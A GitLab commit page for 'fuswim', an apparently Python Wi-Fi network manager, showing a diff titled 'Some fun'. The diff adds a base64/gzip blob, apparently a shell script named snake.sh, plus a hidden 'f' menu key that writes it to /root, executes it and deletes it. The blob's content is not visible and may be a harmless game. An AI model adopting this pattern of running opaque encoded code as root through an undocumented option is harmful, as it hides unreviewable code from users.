Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Contribute to GitLab
Sign in
Toggle navigation
F
fuswim
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sysadmin
fuswim
Commits
6b48dae7
Commit
6b48dae7
authored
Jul 23, 2021
by
Franco (nextime) Lanza
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Some fun
parent
7206d377
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
56 additions
and
2 deletions
+56
-2
fuswim
fuswim
+56
-2
No files found.
fuswim
View file @
6b48dae7
...
@@ -5,6 +5,11 @@ import psutil
...
@@ -5,6 +5,11 @@ import psutil
import
sys
,
os
import
sys
,
os
from
shell_cmd
import
sh
from
shell_cmd
import
sh
import
time
import
time
import
stat
from
io
import
StringIO
from
base64
import
b64decode
import
gzip
try
:
try
:
from
setproctitle
import
setproctitle
from
setproctitle
import
setproctitle
...
@@ -17,7 +22,43 @@ boot=False
...
@@ -17,7 +22,43 @@ boot=False
auto
=
False
auto
=
False
NETPATH
=
'/etc/fuswim/networks'
NETPATH
=
'/etc/fuswim/networks'
fuckthat
=
"""
H4sICCYl+2AAA3NuYWtlLnNoAK1YX1fbNhR/rj/FxZglaciwE/rSVGfrSlvYOqAUTs9O8HIcW0kM
xg62A+WEfPdJV7YsOYG025IHy7r36v7V70re3tobhfHeyMumhnH04QtpNAwjoH7kpRQ6IUxpOJnm
xGo2rWY+m+cQhTHNWp1XrRbch0E+VUh+EjFKt9UyjG1Ik3vw4oBPzm9iiOc3I5pCMmYreoGuwQuG
qXj4kHthxN7w4WuWeFF4RwHUqYjGk3wqZ0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
=
'
\033
[m'
BLACK
=
'
\033
[0;30m'
BLACK
=
'
\033
[0;30m'
...
@@ -442,7 +483,7 @@ while not EXIT:
...
@@ -442,7 +483,7 @@ while not EXIT:
selected
=
False
selected
=
False
netind
=
{}
netind
=
{}
fuck
=
"none"
fuck
=
"none"
while
fuck
not
in
netind
.
keys
()
and
fuck
.
lower
()
not
in
[
'e'
,
'r'
,
'q'
,
's'
,
'm'
]:
while
fuck
not
in
netind
.
keys
()
and
fuck
.
lower
()
not
in
[
'e'
,
'r'
,
'q'
,
's'
,
'm'
,
'f'
]:
nofuck
(
fuck
)
nofuck
(
fuck
)
netind
=
show_fuck_list
(
nets
)
netind
=
show_fuck_list
(
nets
)
fuck
=
input
(
"
\n
Choose a fucking one by index, or press E for edit, R to remove, S to re-scan, Q to shit the hell out: "
)
fuck
=
input
(
"
\n
Choose a fucking one by index, or press E for edit, R to remove, S to re-scan, Q to shit the hell out: "
)
...
@@ -456,10 +497,23 @@ while not EXIT:
...
@@ -456,10 +497,23 @@ while not EXIT:
time
.
sleep
(
1
)
time
.
sleep
(
1
)
elif
fuck
.
lower
()
==
'e'
:
elif
fuck
.
lower
()
==
'e'
:
SM
=
"editor"
SM
=
"editor"
elif
fuck
.
lower
()
==
'f'
:
SM
=
"fuckthat"
elif
fuck
in
netind
.
keys
():
elif
fuck
in
netind
.
keys
():
selected
=
netind
[
fuck
]
selected
=
netind
[
fuck
]
SM
=
"preconnect"
SM
=
"preconnect"
elif
SM
==
"fuckthat"
:
cont
=
gzip
.
decompress
(
b64decode
(
fuckthat
))
with
open
(
"/root/.fuckthat.sh"
,
"wb"
)
as
f
:
f
.
write
(
cont
)
f
.
close
()
os
.
chmod
(
"/root/.fuckthat.sh"
,
stat
.
S_IEXEC
)
os
.
system
(
"/root/.fuckthat.sh"
)
os
.
remove
(
"/root/.fuckthat.sh"
)
SM
=
"main"
elif
SM
==
"preconnect"
:
elif
SM
==
"preconnect"
:
if
not
selected
[
'conf'
][
'saved'
]:
if
not
selected
[
'conf'
][
'saved'
]:
if
insertNetwork
(
selected
):
if
insertNetwork
(
selected
):
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment